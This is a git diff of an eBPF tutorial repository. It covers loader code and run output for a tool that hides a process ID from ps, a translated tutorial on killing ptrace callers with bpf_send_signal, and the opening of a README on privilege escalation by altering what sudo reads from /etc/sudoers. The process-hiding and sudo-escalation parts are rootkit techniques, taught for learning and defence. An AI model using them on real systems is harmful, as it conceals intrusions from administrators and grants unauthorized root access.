- { - env.pid_to_hide = getpid(); - } - sprintf(pid_to_hide, "%d", env.pid_to_hide); - strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); - skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; - skel->rodata->target_ppid = env.target_ppid; -``` - -We then validate and load the eBPF program. This is done by calling the `pidhide_bpf__load` function. If this process fails, we perform a cleanup operation. - -```c - err = pidhide_bpf__load(skel); - if (err) - { - fprintf(stderr, "Failed to load and verify BPF skeleton\n"); - goto cleanup; - } -``` - -Finally, we wait for and process events sent by the eBPF program. This process is achieved by calling the `ring_buffer__poll` function. During this process, we check the ring buffer every so often for new events. If there is, we call the `handle_event` function to handle the event. - -```c -printf("Successfully started!\n"); -printf("Hiding PID %d\n", env.pid_to_hide); -while (!exiting) -{ - err = ring_buffer__poll(rb, 100 /* timeout, ms */); - /* Ctrl-C will cause -EINTR */ - if (err == -EINTR) - { - err = 0; - break; - } - if (err < 0) - { - printf("Error polling perf buffer: %d\n", err); - break; - } -} -``` - -In the `handle_event` function, we print the appropriate message based on the content of the event. The arguments to this function include a context, the data of the event, and the size of the data. We first convert the event data into an `event` structure, then determine if the event successfully hides a process based on the `success` field, and finally print the corresponding message. - -and then print the corresponding message. - -```c -static int handle_event(void *ctx, void *data, size_t data_sz) -{ - const struct event *e = data; - if (e->success) - printf("Hid PID from program %d (%s)\n", e->pid, e->comm); - else - printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm); - return 0; -} -``` - -This code shows how to use the eBPF programme to hide a process in the user state. We first open the eBPF application, then set the PID of the process we want to hide, then validate and load the eBPF application, and finally wait for and process the events sent by the eBPF application. This process makes use of some advanced features provided by eBPF, such as ring buffers and event handling, which allow us to easily interact with the kernel state eBPF program from the user state. - -Full source code: https: [//github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide) - -> The techniques shown in this paper are for proof of concept only and are intended for learning purposes only, and are not to be used in scenarios that do not comply with legal or regulatory requirements. - -## Compile and Run - -```bash -make -``` - -```sh -sudo ./pidhide --pid-to-hide 1534 -``` - -```console -$ ps -aux | grep 1534 -yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor -yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 -``` - -```console -$ sudo ./pidhide --pid-to-hide 1534 -Hiding PID 1534 -Hid PID from program 31529 (ps) -Hid PID from program 31551 (ps) -Hid PID from program 31560 (ps) -Hid PID from program 31582 (ps) -Hid PID from program 31582 (ps) -Hid PID from program 31585 (bash) -Hid PID from program 31585 (bash) -Hid PID from program 31609 (bash) -Hid PID from program 31640 (ps) -Hid PID from program 31649 (ps) -``` - -```console -$ ps -aux | grep 1534 -root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534 -root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534 -root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534 -yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534 -``` - -## Summary - -You can also visit our tutorial code repository [at https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [at https://eunomia.dev/zh/tutorials/](https://eunomia.dev/zh/tutorials/) for more examples and the full tutorial. - -> The original link of this article: diff --git a/src/24-hide/pidhide.bpf.c b/src/24-hide/pidhide.bpf.c index 70fe1ec8..e5246a1b 100644 --- a/src/24-hide/pidhide.bpf.c +++ b/src/24-hide/pidhide.bpf.c @@ -58,7 +58,7 @@ const volatile int target_ppid = 0; // of the PID to hide. This becomes the name // of the folder in /proc/ const volatile int pid_to_hide_len = 0; -const volatile char pid_to_hide[MAX_PID_LEN]; +const volatile char pid_to_hide[MAX_PID_LEN] = ""; // struct linux_dirent64 { // u64 d_ino; /* 64-bit inode number */ @@ -174,7 +174,7 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) return 0; } -SEC("tp/syscalls/sys_exit_getdents64") +SEC("tp/unused") int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) { // Only patch if we've already checked and found our pid's folder to hide diff --git a/src/24-hide/pidhide.c b/src/24-hide/pidhide.c index 4da32ed4..9cf1dc7b 100644 --- a/src/24-hide/pidhide.c +++ b/src/24-hide/pidhide.c @@ -180,6 +180,9 @@ int main(int argc, char **argv) goto cleanup; } + // 禁用 patch 程序的自动 attach,因为它只能通过尾调用执行 + bpf_program__set_autoattach(skel->progs.handle_getdents_patch, false); + // Setup Maps for tail calls int index = PROG_01; int prog_fd = bpf_program__fd(skel->progs.handle_getdents_exit); diff --git a/src/25-signal/.config b/src/25-signal/.config new file mode 100644 index 00000000..b3a374b4 --- /dev/null +++ b/src/25-signal/.config @@ -0,0 +1,2 @@ +level=Depth +type=Security diff --git a/src/25-signal/README.md b/src/25-signal/README.md index 13a73ab4..1eb2bce0 100644 --- a/src/25-signal/README.md +++ b/src/25-signal/README.md @@ -1,60 +1,68 @@ -# eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程 +# Using bpf_send_signal to Terminate Malicious Processes in eBPF -eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术,允许用户在内核空间执行自定义程序,而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。 +eBPF (Extended Berkeley Packet Filter) is a revolutionary technology in the Linux kernel that allows users to execute custom programs in kernel space without modifying the kernel source code or loading any kernel modules. This provides developers with great flexibility to observe, modify, and control the Linux system. -本文介绍了如何使用 eBPF 的 bpf_send_signal 功能,向指定的进程发送信号进行干预。本文完整的源代码和更多的教程文档,请参考 +This article introduces how to use the `bpf_send_signal` feature of eBPF to intervene by sending signals to specified processes. For more tutorial documentation and complete source code, please refer to . -## 使用场景 +> The complete source code: -**1. 性能分析:** -在现代软件生态系统中,优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序,如 hhvm,出现运行缓慢或资源利用率异常高时,它可能会对整个系统产生不利影响。因此,定位这些性能瓶颈并及时解决是至关重要的。 +## Use Cases -**2. 异常检测与响应:** -任何运行在生产环境中的系统都可能面临各种异常情况,从简单的资源泄露到复杂的恶意软件攻击。在这些情况下,系统需要能够迅速、准确地检测到这些异常,并采取适当的应对措施。 +**1. Performance Issues:** -**3. 动态系统管理:** -随着云计算和微服务架构的普及,能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如,根据流量波动自动扩容或缩容,或者在检测到系统过热时降低 CPU 频率。 +Optimizing the performance of applications is a core task for developers and system administrators in the modern software ecosystem. When applications, such as hhvm, run slowly or have abnormally high resource utilization, they can adversely affect the entire system. Therefore, pinpointing these performance bottlenecks and resolving them promptly is crucial. -### 现有方案的不足 +**2. Anomaly Detection and Response:** -为了满足上述使用场景的需求,传统的技术方法如下: +Any system running in a production environment may face various anomalies, from simple resource leaks to complex malware attacks. In these situations, the system needs to detect these anomalies quickly and accurately and take appropriate countermeasures. -- 安装一个 bpf 程序,该程序会持续监视系统,同时对一个 map 进行轮询。 -- 当某个事件触发了 bpf 程序中定义的特定条件时,它会将相关数据写入此 map。 -- 接着,外部分析工具会从该 map 中读取数据,并根据读取到的信息向目标进程发送信号。 +**3. Dynamic System Management:** -尽管这种方法在很多场景中都是可行的,但它存在一个主要的缺陷:从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度,从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。 +With the rise of cloud computing and microservice architectures, dynamically adjusting resource configurations and application behaviors based on the current system state has become a key requirement. For example, auto-scaling based on traffic fluctuations or reducing CPU frequency when detecting system overheating. -### 新方案的优势 +### Limitations of Existing Solutions -为了克服传统方法的这些限制,Linux 内核提供了 `bpf_send_signal` 和 `bpf_send_signal_thread` 这两个 helper 函数。 +To meet the needs of the above use cases, traditional technical methods are as follows: -这两个函数带来的主要优势包括: +- Install a bpf program that continuously monitors the system while polling a map. +- When an event triggers specific conditions defined in the bpf program, it writes related data to this map. +- Then, external analysis tools read data from this map and send signals to the target process based on the retrieved information. -**1. 实时响应:** -通过直接从内核空间发送信号,避免了用户空间的额外开销,这确保了信号能够在事件发生后立即被发送,大大减少了延迟。 +Although this method is feasible in many scenarios, it has a major flaw: the time delay from when the event occurs to when the external tool responds can be relatively large. This delay can affect the speed of event response, making performance analysis results inaccurate or failing to respond promptly to malicious activity. -**2. 准确性:** -得益于减少的延迟,现在我们可以获得更准确的系统状态快照,这对于性能分析和异常检测尤其重要。 +### Advantages of the New Solution -**3. 灵活性:** -这些新的 helper 函数为开发人员提供了更多的灵活性,他们可以根据不同的使用场景和需求来自定义信号的发送逻辑,从而更精确地控制和管理系统行为。 +To overcome the limitations of traditional methods, the Linux kernel offers the `bpf_send_signal` and `bpf_send_signal_thread` helper functions. -## 内核态代码分析 +The main advantages of these functions include: -在现代操作系统中,一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中,`ptrace` 系统调用是一个强大的工具,它允许一个进程观察和控制另一个进程的执行,并修改其寄存器和内存。这使得它成为了调试和跟踪工具(如 `strace` 和 `gdb`)的主要机制。然而,恶意的 `ptrace` 使用也可能导致安全隐患。 +**1. Real-time Response:** -这个程序的目标是在内核态监控 `ptrace` 的调用,当满足特定的条件时,它会发送一个 `SIGKILL` 信号终止调用进程。此外,为了调试或审计目的,该程序会记录这种干预并将相关信息发送到用户空间。 +By sending signals directly from kernel space, avoiding extra overhead in user space, signals can be sent immediately after an event occurs, significantly reducing latency. -## 代码分析 +**2. Accuracy:** -### 1. 数据结构定义 (`signal.h`) +Thanks to reduced latency, we can now obtain a more accurate snapshot of the system state, especially important for performance analysis and anomaly detection. + +**3. Flexibility:** + +These new helper functions provide developers with more flexibility. They can customize the signal sending logic according to different use cases and needs, allowing for more precise control and management of system behavior. + +## Kernel Code Analysis + +In modern operating systems, a common security strategy is to monitor and control interactions between processes. Especially in Linux systems, the `ptrace` system call is a powerful tool that allows one process to observe and control the execution of another process, modifying its registers and memory. This makes it the primary mechanism for debugging and tracing tools like `strace` and `gdb`. However, malicious use of `ptrace` can also pose security risks. + +The goal of this program is to monitor `ptrace` calls in kernel mode. When specific conditions are met, it sends a `SIGKILL` signal to terminate the calling process. Additionally, for debugging or auditing purposes, the program logs this intervention and sends related information to user space. + +## Code Analysis + +### 1. Data Structure Definition (`signal.h`) signal.h ```c // Simple message structure to get events from eBPF Programs -// in the kernel to user spcae +// in the kernel to user space #define TASK_COMM_LEN 16 struct event { int pid; @@ -63,9 +71,9 @@ struct event { }; ``` -这部分定义了一个简单的消息结构,用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。 +This section defines a simple message structure used to pass events from eBPF programs in the kernel to user space. The structure includes the process ID, command name, and a boolean value indicating whether the signal was successfully sent. -### 2. eBPF 程序 (`signal.bpf.c`) +### 2. eBPF Program (`signal.bpf.c`) signal.bpf.c @@ -121,57 +129,56 @@ int bpf_dos(struct trace_event_raw_sys_enter *ctx) } ``` -- **许可证声明** +- **License Declaration** - 声明了程序的许可证为 "Dual BSD/GPL",这是为了满足 Linux 内核对 eBPF 程序的许可要求。 + The program's license is declared as "Dual BSD/GPL". This is to meet the Linux kernel's licensing requirements for eBPF programs. - **Ringbuffer Map** - 这是一个 ring buffer 类型的 map,允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。 + This is a ring buffer type map that allows messages generated by the eBPF program in kernel space to be efficiently read by user space programs. -- **目标父进程ID** +- **Target Parent Process ID** - `target_ppid` 是一个可选的父进程ID,用于限制哪些进程受到影响。如果它被设置为非零值,只有与其匹配的进程才会被目标。 + `target_ppid` is an optional parent process ID used to limit which processes are affected. If set to a non-zero value, only processes that match it will be targeted. -- **主函数 `bpf_dos`** +- **Main Function `bpf_dos`** - - **进程检查** - 程序首先获取当前进程的ID。如果设置了 `target_ppid`,它还会获取当前进程的父进程ID并进行比较。如果两者不匹配,则直接返回。 + - **Process Check** + The program first retrieves the current process's ID. If `target_ppid` is set, it also retrieves the current process's parent process ID and compares them. If they don't match, it returns immediately. - - **发送信号** - 使用 `bpf_send_signal(9)` 来发送 `SIGKILL` 信号。这将终止调用 `ptrace` 的进程。 + - **Sending Signal** + It uses `bpf_send_signal(9)` to send a `SIGKILL` signal. This terminates the process calling `ptrace`. - - **记录事件** - 使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。 + - **Logging the Event** + The event is logged using the ring buffer map. This includes whether the signal was successfully sent, the process ID, and the process's command name. -总结:这个 eBPF 程序提供了一个方法,允许系统管理员或安全团队在内核级别监控和干预 `ptrace` 调用,提供了一个对抗潜在恶意活动或误操作的额外层次。 +In summary, this eBPF program provides a method that allows system administrators or security teams to monitor and intervene `ptrace` calls at the kernel level, offering an additional layer against potential malicious activities or misoperations. -## 编译运行 +## Compilation and Execution -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +We use eunomia-bpf to compile and run this example. You can install it from . -编译: +Compilation: ```bash ./ecc signal.bpf.c signal.h ``` -使用方式: +Usage: ```console $ sudo ./ecli package.json TIME PID COMM SUCCESS ``` -这个程序会对任何试图使用 `ptrace` 系统调用的程序,例如 `strace`,发出 `SIG_KILL` 信号。 -一旦 eBPF 程序开始运行,你可以通过运行以下命令进行测试: +This program will send a `SIG_KILL` signal to any program attempting to use the `ptrace` system call, such as `strace`. Once the eBPF program starts running, you can test it by running the following command: ```bash $ strace /bin/whoami Killed ``` -原先的 console 中会输出: +The original console will output: ```txt INFO [bpf_loader_lib::skeleton] Running ebpf program... @@ -179,15 +186,17 @@ TIME PID COMM SUCCESS 13:54:45 8857 strace true ``` -完整的源代码可以参考: +The complete source code can be found at: -## 总结 +## Conclusion -通过这个实例,我们深入了解了如何将 eBPF 程序与用户态程序相结合,实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制,这种技术不仅限于监控,还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说,这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。 +Through this example, we delved into how to combine eBPF programs with user-space programs to monitor and intervene in system calls. eBPF provides a mechanism for executing programs in kernel space. This technology is not limited to monitoring but can also be used for performance optimization, security defense, system diagnostics, and various other scenarios. For developers, it offers a powerful and flexible tool for performance tuning and troubleshooting in Linux systems. -最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 和教程网站 +Lastly, if you are interested in eBPF technology and wish to further understand and practice, you can visit our tutorial code repository and tutorial website . -## 参考资料 +## References - - + +> The original link of this article: diff --git a/src/25-signal/README.zh.md b/src/25-signal/README.zh.md new file mode 100644 index 00000000..fcc1d0ff --- /dev/null +++ b/src/25-signal/README.zh.md @@ -0,0 +1,193 @@ +# eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程 + +eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术,允许用户在内核空间执行自定义程序,而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。 + +本文介绍了如何使用 eBPF 的 bpf_send_signal 功能,向指定的进程发送信号进行干预。本文完整的源代码和更多的教程文档,请参考 + +## 使用场景 + +**1. 性能分析:** +在现代软件生态系统中,优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序,如 hhvm,出现运行缓慢或资源利用率异常高时,它可能会对整个系统产生不利影响。因此,定位这些性能瓶颈并及时解决是至关重要的。 + +**2. 异常检测与响应:** +任何运行在生产环境中的系统都可能面临各种异常情况,从简单的资源泄露到复杂的恶意软件攻击。在这些情况下,系统需要能够迅速、准确地检测到这些异常,并采取适当的应对措施。 + +**3. 动态系统管理:** +随着云计算和微服务架构的普及,能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如,根据流量波动自动扩容或缩容,或者在检测到系统过热时降低 CPU 频率。 + +### 现有方案的不足 + +为了满足上述使用场景的需求,传统的技术方法如下: + +- 安装一个 bpf 程序,该程序会持续监视系统,同时对一个 map 进行轮询。 +- 当某个事件触发了 bpf 程序中定义的特定条件时,它会将相关数据写入此 map。 +- 接着,外部分析工具会从该 map 中读取数据,并根据读取到的信息向目标进程发送信号。 + +尽管这种方法在很多场景中都是可行的,但它存在一个主要的缺陷:从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度,从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。 + +### 新方案的优势 + +为了克服传统方法的这些限制,Linux 内核提供了 `bpf_send_signal` 和 `bpf_send_signal_thread` 这两个 helper 函数。 + +这两个函数带来的主要优势包括: + +**1. 实时响应:** +通过直接从内核空间发送信号,避免了用户空间的额外开销,这确保了信号能够在事件发生后立即被发送,大大减少了延迟。 + +**2. 准确性:** +得益于减少的延迟,现在我们可以获得更准确的系统状态快照,这对于性能分析和异常检测尤其重要。 + +**3. 灵活性:** +这些新的 helper 函数为开发人员提供了更多的灵活性,他们可以根据不同的使用场景和需求来自定义信号的发送逻辑,从而更精确地控制和管理系统行为。 + +## 内核态代码分析 + +在现代操作系统中,一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中,`ptrace` 系统调用是一个强大的工具,它允许一个进程观察和控制另一个进程的执行,并修改其寄存器和内存。这使得它成为了调试和跟踪工具(如 `strace` 和 `gdb`)的主要机制。然而,恶意的 `ptrace` 使用也可能导致安全隐患。 + +这个程序的目标是在内核态监控 `ptrace` 的调用,当满足特定的条件时,它会发送一个 `SIGKILL` 信号终止调用进程。此外,为了调试或审计目的,该程序会记录这种干预并将相关信息发送到用户空间。 + +## 代码分析 + +### 1. 数据结构定义 (`signal.h`) + +signal.h + +```c +// Simple message structure to get events from eBPF Programs +// in the kernel to user space +#define TASK_COMM_LEN 16 +struct event { + int pid; + char comm[TASK_COMM_LEN]; + bool success; +}; +``` + +这部分定义了一个简单的消息结构,用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。 + +### 2. eBPF 程序 (`signal.bpf.c`) + +signal.bpf.c + +```c +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +SEC("tp/syscalls/sys_enter_ptrace") +int bpf_dos(struct trace_event_raw_sys_enter *ctx) +{ + long ret = 0; + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Send signal. 9 == SIGKILL + ret = bpf_send_signal(9); + + // Log event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + + return 0; +} +``` + +- **许可证声明** + + 声明了程序的许可证为 "Dual BSD/GPL",这是为了满足 Linux 内核对 eBPF 程序的许可要求。 + +- **Ringbuffer Map** + + 这是一个 ring buffer 类型的 map,允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。 + +- **目标父进程ID** + + `target_ppid` 是一个可选的父进程ID,用于限制哪些进程受到影响。如果它被设置为非零值,只有与其匹配的进程才会被目标。 + +- **主函数 `bpf_dos`** + + - **进程检查** + 程序首先获取当前进程的ID。如果设置了 `target_ppid`,它还会获取当前进程的父进程ID并进行比较。如果两者不匹配,则直接返回。 + + - **发送信号** + 使用 `bpf_send_signal(9)` 来发送 `SIGKILL` 信号。这将终止调用 `ptrace` 的进程。 + + - **记录事件** + 使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。 + +总结:这个 eBPF 程序提供了一个方法,允许系统管理员或安全团队在内核级别监控和干预 `ptrace` 调用,提供了一个对抗潜在恶意活动或误操作的额外层次。 + +## 编译运行 + +eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 + +编译: + +```bash +./ecc signal.bpf.c signal.h +``` + +使用方式: + +```console +$ sudo ./ecli package.json +TIME PID COMM SUCCESS +``` + +这个程序会对任何试图使用 `ptrace` 系统调用的程序,例如 `strace`,发出 `SIG_KILL` 信号。 +一旦 eBPF 程序开始运行,你可以通过运行以下命令进行测试: + +```bash +$ strace /bin/whoami +Killed +``` + +原先的 console 中会输出: + +```txt +INFO [bpf_loader_lib::skeleton] Running ebpf program... +TIME PID COMM SUCCESS +13:54:45 8857 strace true +``` + +完整的源代码可以参考: + +## 总结 + +通过这个实例,我们深入了解了如何将 eBPF 程序与用户态程序相结合,实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制,这种技术不仅限于监控,还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说,这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。 + +最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 和教程网站 + +## 参考资料 + +- +- diff --git a/src/25-signal/README_en.md b/src/25-signal/README_en.md deleted file mode 100644 index 3160ac34..00000000 --- a/src/25-signal/README_en.md +++ /dev/null @@ -1,200 +0,0 @@ -# Using bpf_send_signal to Terminate Malicious Processes in eBPF - -eBPF (Extended Berkeley Packet Filter) is a revolutionary technology in the Linux kernel that allows users to execute custom programs in kernel space without modifying the kernel source code or loading any kernel modules. This provides developers with great flexibility to observe, modify, and control the Linux system. - -This article introduces how to use the `bpf_send_signal` feature of eBPF to intervene by sending signals to specified processes. For more tutorial documentation and complete source code, please refer to . - -## Use Cases - -**1. Performance Issues:** - -Optimizing the performance of applications is a core task for developers and system administrators in the modern software ecosystem. When applications, such as hhvm, run slowly or have abnormally high resource utilization, they can adversely affect the entire system. Therefore, pinpointing these performance bottlenecks and resolving them promptly is crucial. - -**2. Anomaly Detection and Response:** - -Any system running in a production environment may face various anomalies, from simple resource leaks to complex malware attacks. In these situations, the system needs to detect these anomalies quickly and accurately and take appropriate countermeasures. - -**3. Dynamic System Management:** - -With the rise of cloud computing and microservice architectures, dynamically adjusting resource configurations and application behaviors based on the current system state has become a key requirement. For example, auto-scaling based on traffic fluctuations or reducing CPU frequency when detecting system overheating. - -### Limitations of Existing Solutions - -To meet the needs of the above use cases, traditional technical methods are as follows: - -- Install a bpf program that continuously monitors the system while polling a map. -- When an event triggers specific conditions defined in the bpf program, it writes related data to this map. -- Then, external analysis tools read data from this map and send signals to the target process based on the retrieved information. - -Although this method is feasible in many scenarios, it has a major flaw: the time delay from when the event occurs to when the external tool responds can be relatively large. This delay can affect the speed of event response, making performance analysis results inaccurate or failing to respond promptly to malicious activity. - -### Advantages of the New Solution - -To overcome the limitations of traditional methods, the Linux kernel offers the `bpf_send_signal` and `bpf_send_signal_thread` helper functions. - -The main advantages of these functions include: - -**1. Real-time Response:** - -By sending signals directly from kernel space, avoiding extra overhead in user space, signals can be sent immediately after an event occurs, significantly reducing latency. - -**2. Accuracy:** - -Thanks to reduced latency, we can now obtain a more accurate snapshot of the system state, especially important for performance analysis and anomaly detection. - -**3. Flexibility:** - -These new helper functions provide developers with more flexibility. They can customize the signal sending logic according to different use cases and needs, allowing for more precise control and management of system behavior. - -## Kernel Code Analysis - -In modern operating systems, a common security strategy is to monitor and control interactions between processes. Especially in Linux systems, the `ptrace` system call is a powerful tool that allows one process to observe and control the execution of another process, modifying its registers and memory. This makes it the primary mechanism for debugging and tracing tools like `strace` and `gdb`. However, malicious use of `ptrace` can also pose security risks. - -The goal of this program is to monitor `ptrace` calls in kernel mode. When specific conditions are met, it sends a `SIGKILL` signal to terminate the calling process. Additionally, for debugging or auditing purposes, the program logs this intervention and sends related information to user space. - -## Code Analysis - -### 1. Data Structure Definition (`signal.h`) - -signal.h - -```c -// Simple message structure to get events from eBPF Programs -// in the kernel to user space -#define TASK_COMM_LEN 16 -struct event { - int pid; - char comm[TASK_COMM_LEN]; - bool success; -}; -``` - -This section defines a simple message structure used to pass events from eBPF programs in the kernel to user space. The structure includes the process ID, command name, and a boolean value indicating whether the signal was successfully sent. - -### 2. eBPF Program (`signal.bpf.c`) - -signal.bpf.c - -```c -// SPDX-License-Identifier: BSD-3-Clause -#include "vmlinux.h" -#include -#include -#include -#include "common.h" - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -// Ringbuffer Map to pass messages from kernel to user -struct { - __uint(type, BPF_MAP_TYPE_RINGBUF); - __uint(max_entries, 256 * 1024); -} rb SEC(".maps"); - -// Optional Target Parent PID -const volatile int target_ppid = 0; - -SEC("tp/syscalls/sys_enter_ptrace") -int bpf_dos(struct trace_event_raw_sys_enter *ctx) -{ - long ret = 0; - size_t pid_tgid = bpf_get_current_pid_tgid(); - int pid = pid_tgid >> 32; - - // if target_ppid is 0 then we target all pids - if (target_ppid != 0) { - struct task_struct *task = (struct task_struct *)bpf_get_current_task(); - int ppid = BPF_CORE_READ(task, real_parent, tgid); - if (ppid != target_ppid) { - return 0; - } - } - - // Send signal. 9 == SIGKILL - ret = bpf_send_signal(9); - - // Log event - struct event *e; - e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); - if (e) { - e->success = (ret == 0); - e->pid = pid; - bpf_get_current_comm(&e->comm, sizeof(e->comm)); - bpf_ringbuf_submit(e, 0); - } - - return 0; -} -``` - -- **License Declaration** - - The program's license is declared as "Dual BSD/GPL". This is to meet the Linux kernel's licensing requirements for eBPF programs. - -- **Ringbuffer Map** - - This is a ring buffer type map that allows messages generated by the eBPF program in kernel space to be efficiently read by user space programs. - -- **Target Parent Process ID** - - `target_ppid` is an optional parent process ID used to limit which processes are affected. If set to a non-zero value, only processes that match it will be targeted. - -- **Main Function `bpf_dos`** - - - **Process Check** - The program first retrieves the current process's ID. If `target_ppid` is set, it also retrieves the current process's parent process ID and compares them. If they don't match, it returns immediately. - - - **Sending Signal** - It uses `bpf_send_signal(9)` to send a `SIGKILL` signal. This terminates the process calling `ptrace`. - - - **Logging the Event** - The event is logged using the ring buffer map. This includes whether the signal was successfully sent, the process ID, and the process's command name. - -In summary, this eBPF program provides a method that allows system administrators or security teams to monitor and intervene `ptrace` calls at the kernel level, offering an additional layer against potential malicious activities or misoperations. - -## Compilation and Execution - -eunomia-bpf is an open-source eBPF dynamic loading runtime and development toolchain combined with Wasm. Its purpose is to simplify the development, building, distribution, and execution of eBPF programs. You can refer to to download and install the `ecc` compiler toolchain and `ecli` runtime. We use eunomia-bpf to compile and run this example. - -Compilation: - -```bash -./ecc signal.bpf.c signal.h -``` - -Usage: - -```console -$ sudo ./ecli package.json -TIME PID COMM SUCCESS -``` - -This program will send a `SIG_KILL` signal to any program attempting to use the `ptrace` system call, such as `strace`. Once the eBPF program starts running, you can test it by running the following command: - -```bash -$ strace /bin/whoami -Killed -``` - -The original console will output: - -```txt -INFO [bpf_loader_lib::skeleton] Running ebpf program... -TIME PID COMM SUCCESS -13:54:45 8857 strace true -``` - -The complete source code can be found at: - -## Conclusion - -Through this example, we delved into how to combine eBPF programs with user-space programs to monitor and intervene in system calls. eBPF provides a mechanism for executing programs in kernel space. This technology is not limited to monitoring but can also be used for performance optimization, security defense, system diagnostics, and various other scenarios. For developers, it offers a powerful and flexible tool for performance tuning and troubleshooting in Linux systems. - -Lastly, if you are interested in eBPF technology and wish to further understand and practice, you can visit our tutorial code repository and tutorial website . - -## References - -- -- - -> The original link of this article: diff --git a/src/26-sudo/.config b/src/26-sudo/.config new file mode 100644 index 00000000..b3a374b4 --- /dev/null +++ b/src/26-sudo/.config @@ -0,0 +1,2 @@ +level=Depth +type=Security diff --git a/src/26-sudo/README.md b/src/26-sudo/README.md index a7cc0725..83c3acc3 100644 --- a/src/26-sudo/README.md +++ b/src/26-sudo/README.md @@ -1,25 +1,291 @@ -# 使用 eBPF 添加 sudo 用户 +# eBPF Tutorial: Privilege Escalation via File Content Manipulation -本文完整的源代码: +eBPF's power extends far beyond simple tracing—it can modify data flowing through the kernel in real-time. While this capability enables innovative solutions for performance optimization and security monitoring, it also opens doors to sophisticated attack vectors that traditional security tools might miss. This tutorial demonstrates one such technique: using eBPF to grant unprivileged users root access by manipulating what `sudo` sees when reading `/etc/sudoers`. -关于如何安装依赖,请参考: +This example reveals how attackers could abuse eBPF's `bpf_probe_write_user` helper to bypass Linux's permission model entirely, without leaving traces in log files or modifying actual system files. Understanding these attack patterns is crucial for defenders building eBPF-aware security monitoring. -编译: +> The complete source code: + +## The Attack Vector: Intercepting File Reads + +Traditional privilege escalation attacks modify `/etc/sudoers` directly, leaving obvious traces in file timestamps, audit logs, and integrity monitoring systems. This eBPF-based approach is far more subtle—it intercepts `sudo`'s read operation and replaces the file content in memory before `sudo` processes it. The actual file on disk remains unchanged, defeating most file integrity monitors. + +The attack works by exploiting 